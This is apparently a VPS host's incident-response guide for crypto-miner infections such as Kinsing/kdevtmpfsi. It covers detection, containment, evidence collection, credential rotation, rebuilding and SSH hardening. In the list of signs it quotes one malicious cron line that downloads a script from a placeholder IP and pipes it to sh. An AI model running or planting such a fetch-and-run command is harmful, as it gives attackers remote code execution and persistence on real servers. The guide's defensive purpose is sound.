VPS Hacked? Signs of a Crypto Miner and What to Do First

Published on

CPU stuck at 100 percent and a process like kdevtmpfsi, kinsing or xmrig? How to confirm a crypto miner on your VPS, contain it, find the way in and rebuild.

Illustration of a worried person kneeling beside server racks and a monitor that shows a server error

Your VPS is slow, the CPU graph sits at 100 percent and top shows a process you never started: kdevtmpfsi, kinsing, xmrig or a random string. Your VPS was most likely hacked, and someone is mining cryptocurrency on your bill. Killing the process often doesn't help: with a cron job behind it, it's back within a minute. Below: how to confirm it, the first five steps in the right order, and how to keep it from happening again. Commands are for Ubuntu 24.04 and Debian 12.

Quick answer: A VPS hacked for crypto mining shows a process you didn't start using close to 100 percent CPU, often running from /tmp or /var/tmp, plus a cron job, service or SSH key that brings the attacker back. Work in this order: cut access with a firewall that only lets your own IP in, save evidence (processes, connections, file hashes, logs), find the way in and every way back (cron, systemd, authorized_keys, /etc/ld.so.preload), change every password, key and token from a clean device, and rebuild from a clean image. Then use SSH keys only, no root login with a password, fail2ban and automatic security updates.

Signs of a Crypto Miner on Your VPS

MITRE ATT&CK calls this compute hijacking and lists two signs to look for: "Unusual long-running processes consuming high CPU cycles," often started from cron, shell scripts or Docker, and "Connections to known mining pools." In practice you see some of these:

  • CPU near 100 percent for hours with no traffic or job to explain it.
  • A process name you don't know. kdevtmpfsi is the miner that the Kinsing malware runs, and kinsing is the agent that talks to its control server, according to Aqua Security's analysis. XMRig is a legitimate open source CPU and GPU miner; if it runs on a server where you never set it up, someone else did.
  • It returns after kill. Kinsing's script uses crontab to run itself every minute.
  • A cron line that downloads and runs a script, such as this one from a cleanup gist, with the address replaced: * * * * * wget -q -O - http://203.0.113.50/p.sh | sh > /dev/null 2>&1.
  • SSH keys you didn't add, a persistence trick MITRE lists for several groups.
  • High load, but nothing in top. Some miners hide behind /etc/ld.so.preload, more on that in step 3.
  • An abuse notice from your host. Kinsing also brute-forces SSH on other machines, so your server may be attacking others.

Find the busiest process and look at where it runs from (replace 1234 with its PID):

ps aux --sort=-pcpu | head -5
ps -o user,pid,pcpu,etime,args -p 1234
sudo ls -l /proc/1234/exe /proc/1234/cwd
What you seeWhat it suggests
exe points into /tmp, /var/tmp or a hidden folderA dropped binary, not a package
exe ends in (deleted)The file was removed from disk after it started (proc(5))
User www-dataThe way in was probably a web app
User redis or postgresAn exposed database
User rootAssume the whole system is compromised

One false alarm: [kdevtmpfs] in square brackets is a real kernel thread. ps prints kernel threads in brackets because they have no command line. The miner adds an i to the name and runs from a real file, such as /tmp/kdevtmpfsi in the gist above.

Step 1: Cut Access

You have two choices.

Power it off from your provider's panel if the server is attacking other machines, or if nothing on it is worth saving. The disk stays as it is; you lose only what was in memory.

Lock the network to your own IP if you need to copy data off first. In your SSH session, before sudo, run echo "$SSH_CLIENT": the first field is your IP. Work from the provider's web console if you have one, because the ufw manual warns that enabling the firewall "may drop existing connections (eg ssh)". On a Space-Node VPS that is the browser console in the panel, which doesn't depend on SSH. Replace 198.51.100.7 with your IP:

sudo ufw --force reset
sudo ufw default deny incoming
sudo ufw default deny outgoing
sudo ufw allow from 198.51.100.7 to any port 22 proto tcp
sudo ufw --force enable
sudo ufw status verbose

If ufw is missing, install it first with sudo apt install ufw. Blocking outgoing traffic stops the cron job from downloading new copies and the miner from opening new pool connections. Connections that are already open stay up, because UFW's before.rules accept established traffic, so you'll stop the miner itself in step 2.

This is a holding measure, not a fix: whoever has root can undo it. Docker containers aren't covered either, since Docker routes their packets before UFW's rules apply; see our Docker and UFW guide. Also, don't log in from this server to anything else, and don't connect with ssh -A: per the ssh manual, someone with root on the remote host can use your forwarded agent to "authenticate using the identities loaded into the agent."

Step 2: Save Evidence, Then Stop the Miner

NIST's incident response profile, SP 800-61r3, lists this outcome: "Incident data and metadata are collected, and their integrity and provenance are preserved." For one VPS that means saving the state before you change anything, so you can find the way in later. If your provider offers snapshots, take one now as well.

sudo -i
mkdir -m 700 /root/ir && cd /root/ir
date -u > time.txt
ps auxwwf > ps.txt
ss -tunap > connections.txt
for p in $(ps -eo pid= --sort=-pcpu | head -5); do
  echo "== PID $p"; ls -l /proc/$p/exe /proc/$p/cwd
  tr '\0' ' ' < /proc/$p/cmdline; echo
  sha256sum /proc/$p/exe
done > top5.txt 2>&1
for u in $(cut -d: -f1 /etc/passwd); do echo "== $u"; crontab -l -u "$u" 2>/dev/null; done > crontabs.txt
cat /etc/crontab /etc/cron.d/* > cron-system.txt 2>&1
systemctl list-timers --all --no-pager > timers.txt
systemctl list-unit-files --type=service --state=enabled --no-pager > services.txt
ls -lt /etc/systemd/system > units-by-date.txt
find / -xdev -name 'authorized_keys*' -exec ls -l {} \; -exec cat {} \; > ssh-keys.txt 2>&1
awk -F: '$3 == 0' /etc/passwd > uid0.txt
cat /etc/ld.so.preload > preload.txt 2>&1
last -i > last.txt 2>&1
journalctl -u ssh --since "30 days ago" --no-pager > ssh-log.txt
docker ps -a > docker.txt 2>&1
cp -a /var/log/auth.log* /var/log/nginx /var/log/apache2 . 2>/dev/null
cd /root && tar czf ir.tar.gz ir

sha256sum /proc/PID/exe hashes the running binary even when its file was deleted, because opening that link opens the executable. You can look the hash up on VirusTotal. From your own computer, pull the archive off (if you log in as a sudo user, copy it to that user's home folder first):

scp root@203.0.113.10:/root/ir.tar.gz .

Now stop the miner with sudo kill -9 1234 and stop any container you don't recognise with sudo docker stop <id>. If a new copy appears within a minute, something restarts it, and step 3 finds it.

Step 3: Find the Way In and the Way Back

The way back. Read the files you saved:

FileLook for
crontabs.txt, cron-system.txtcurl or wget piped into sh, base64, paths in /tmp
timers.txt, services.txt, units-by-date.txtNames you don't know, recent dates; read one with systemctl cat <name>
ssh-keys.txtKeys you didn't add, or options such as command=
uid0.txtAny account other than root
preload.txtAny content at all

/etc/ld.so.preload loads its libraries into every program, ps and top included. A normal Ubuntu or Debian install doesn't have this file, and MITRE notes the Rocke group used it to hide "mining software in process lists." If it lists a library you didn't put there, stop trusting anything the server shows you and go to step 5. Aqua also notes that Kinsing's script "deletes all cron jobs, including its own", so if cron jobs of yours have vanished, that's a clue too.

If rm or crontab -r fails as root with "Operation not permitted", run lsattr on the file. An i means the immutable flag is set, a trick MITRE records for TeamTNT.

The way in. Start with three checks:

sudo journalctl -u ssh --since "30 days ago" --no-pager | grep -E "Accepted (password|publickey)"
sudo ss -tlnp
sudo grep -rs "eval-stdin.php" /var/log/nginx /var/log/apache2 | head
ClueLikely way in
Accepted password for root from an IP you don't knowA guessed or stolen SSH password
Redis on 0.0.0.0:6379 or PostgreSQL on 0.0.0.0:5432An exposed database
dockerd on port 2375The open Docker API, the route Aqua described for Kinsing in 2020
Requests for eval-stdin.phpCVE-2017-9841, an old PHPUnit bug in a web-reachable /vendor folder

The PHPUnit bug has a CVSS score of 9.8 and is on CISA's list of exploited vulnerabilities. Aqua's November 2023 report describes Kinsing getting in through it, and names the Docker API, Redis and Jenkins servers among the group's usual targets, plus misconfigured PostgreSQL servers.

Check the machines this server can reach, too. MITRE says Kinsing reads /etc/hosts and SSH known_hosts to find other systems and spreads to them over SSH, so look at every host in ~/.ssh/known_hosts and ~/.ssh/config.

Step 4: Change Every Password, Key and Token From a Clean Device

According to MITRE, Kinsing searches .bash_history for credentials and looks for private keys, and in 2023 Aqua saw it try to collect cloud provider credentials. Treat every secret the server held as known. Do this from your own computer, not from the hacked server:

  • Passwords for root and every user, plus anywhere you reused them.
  • Private keys stored on the server (~/.ssh/id_*, deploy keys): remove their public halves from GitHub, GitLab and other servers, then make new ones.
  • Secrets in .env and config files: database passwords, API keys, Discord bot tokens, payment and SMTP keys, cloud access keys.
  • Your hosting account and domain registrar, if their passwords were ever typed or stored on the server.

Your own SSH key can stay if its private half never left your computer: the server only had the public half.

Step 5: Rebuild From a Clean Image

Cleaning in place means proving that you found everything. Linode's guide to recovering from a compromise (updated 2018) puts it plainly: "it's virtually impossible to determine the full scope of an attacker's reach into a compromised system." If the miner ran only as www-data and nothing in step 3 points to root, cleaning can work, but you can't prove root was never reached. On a single VPS, a rebuild usually takes less time than that proof.

  1. Get your data out. App data and database dumps, not programs. Our reinstall checklist shows what to save and has a section on restoring after a break-in.
  2. Reinstall the operating system. The Space-Node panel has Linux reinstall options, and backups aren't included in the plan price, so make your own copy first.
  3. Harden before you go live: updates, a sudo user with your key, the SSH settings below and a firewall.
  4. Install your apps fresh at current versions, restore the data, and close the hole from step 3. NIST's profile says to "remediate the root causes of the incident before production use" and to check backups for signs of compromise before restoring them.
  5. Watch CPU and new cron jobs for a few days.

Keep It From Happening Again

Turn off password logins and root login. Ubuntu and Debian read /etc/ssh/sshd_config.d/*.conf at the top of sshd_config, the files load in name order, and the first value wins, so a file starting with 00- beats a provider file such as 50-cloud-init.conf. Test key login for your sudo user in a second window first:

sudo tee /etc/ssh/sshd_config.d/00-hardening.conf >/dev/null <<'EOF'
PermitRootLogin no
PasswordAuthentication no
KbdInteractiveAuthentication no
EOF
sudo sshd -t && sudo systemctl restart ssh
sudo sshd -T | grep -E '^(permitrootlogin|passwordauthentication|kbdinteractiveauthentication) '

All three lines should end in no. Our SSH hardening guide goes further.

  • fail2ban bans IPs that keep guessing; the Ubuntu package enables the sshd jail by default. Setup: fail2ban and UFW.
  • Security updates: on Ubuntu, unattended-upgrades is installed and applies security updates automatically. Check it and set it up on Debian with our patching guide.
  • Keep databases private. Redis says it's "not a good idea to expose the Redis instance directly to the internet"; use bind 127.0.0.1. PostgreSQL listens on localhost by default, so leave it that way unless a firewall limits who can connect.
  • Never open the Docker API to the internet. Docker says remote access without TLS "is not recommended".
  • Update web app dependencies and never serve the vendor folder.

FAQ

What are kdevtmpfsi and kinsing? Parts of the same malware. MITRE describes Kinsing as "Golang-based malware that runs a cryptocurrency miner and attempts to spread itself", and Aqua found that the miner it runs is called kdevtmpfsi. The name is one letter away from kdevtmpfs, a real kernel thread that ps shows in brackets.

I deleted kdevtmpfsi and kinsing, but they came back. Why? A cron job, service or second copy downloads them again, often every minute. Scripts that delete the files every few minutes only treat the symptom, and the way in stays open. Follow steps 3 to 5.

I got hacked in 2 hours on a fresh VPS with root and a password. How? Malware such as Kinsing brute-forces SSH by itself and logs in with credentials that work, so any server that accepts passwords is a target as soon as it's online. If your VPS came with a root password, root login with a password was on from the start. SSH keys with password login switched off stop this kind of guessing.

Can I keep my data? Your data, yes, after you check it: dumps, uploads and app files you can read. Not programs, scripts, crontabs or unit files from the old system; write those again by hand.

Will ClamAV or rkhunter clean the server? They help you audit copied data, and the Linode guide names both for that. But a scanner running on a server where someone had root can be fooled, for example through /etc/ld.so.preload, so a clean scan is no proof. Rebuild.

Should I tell my hosting provider? Yes, if you got an abuse notice or the server attacked other machines. Say what you found and that you're rebuilding. Also tell anyone whose data or keys were on the server.

Sources

All opened on 3 November 2026: